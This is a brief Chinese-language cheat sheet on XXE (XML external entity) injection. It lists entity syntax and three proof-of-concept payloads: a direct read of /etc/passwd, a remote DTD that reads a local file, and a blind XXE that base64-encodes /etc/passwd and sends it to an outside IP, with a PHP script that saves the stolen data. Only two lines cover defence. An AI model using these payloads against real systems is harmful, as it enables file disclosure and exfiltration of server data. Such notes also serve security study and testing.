

参考:

<http://www.youknowi.xin/2018/07/xxe%E6%94%BB%E5%87%BB/>

<https://www.cnblogs.com/xiaozhi/p/5785165.html>

<https://blog.csdn.net/u011215939/article/details/80376304>

看一下这个:

\*\*内部声明实体\*\*

<!ENTITY 实体名称 "实体的值">

\*\*引用外部实体\*\*

<!ENTITY 实体名称 SYSTEM "URI">

或者

<!ENTITY 实体名称 PUBLIC "public\_ID" "URI">

记录一些 poc, 分析可以看另一个文档

poc1 (直接回显):

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
```

poc2:

xml 文档保存在 web 服务器

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx/poc.xml">
%remote;]>
```

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://localhost/ceshi/evil.dtd">%d;]>
<aa>&b;</aa>
```

evil.dtd 内容:

```
<!ENTITY b SYSTEM "file:///F:/linux/1.txt">
```

poc3 (blind xxe):

vps 上放 1.php

内容为:

```
<?php
file_put_contents('01.txt', $_GET['xxe_local']);
?>
```

1. xml 内容为:

```
<!ENTITY %
payload SYSTEM "php://filter/read=convert.base64-encode/resou
rce=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.106.208/dede/get.php?id=%payload;'">
%int;
%trick;
```

poc 为:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>
```

防御:

1. 过滤 system 关键词等
2. 禁用外部实体的方法（如何禁用，不同语言再搜）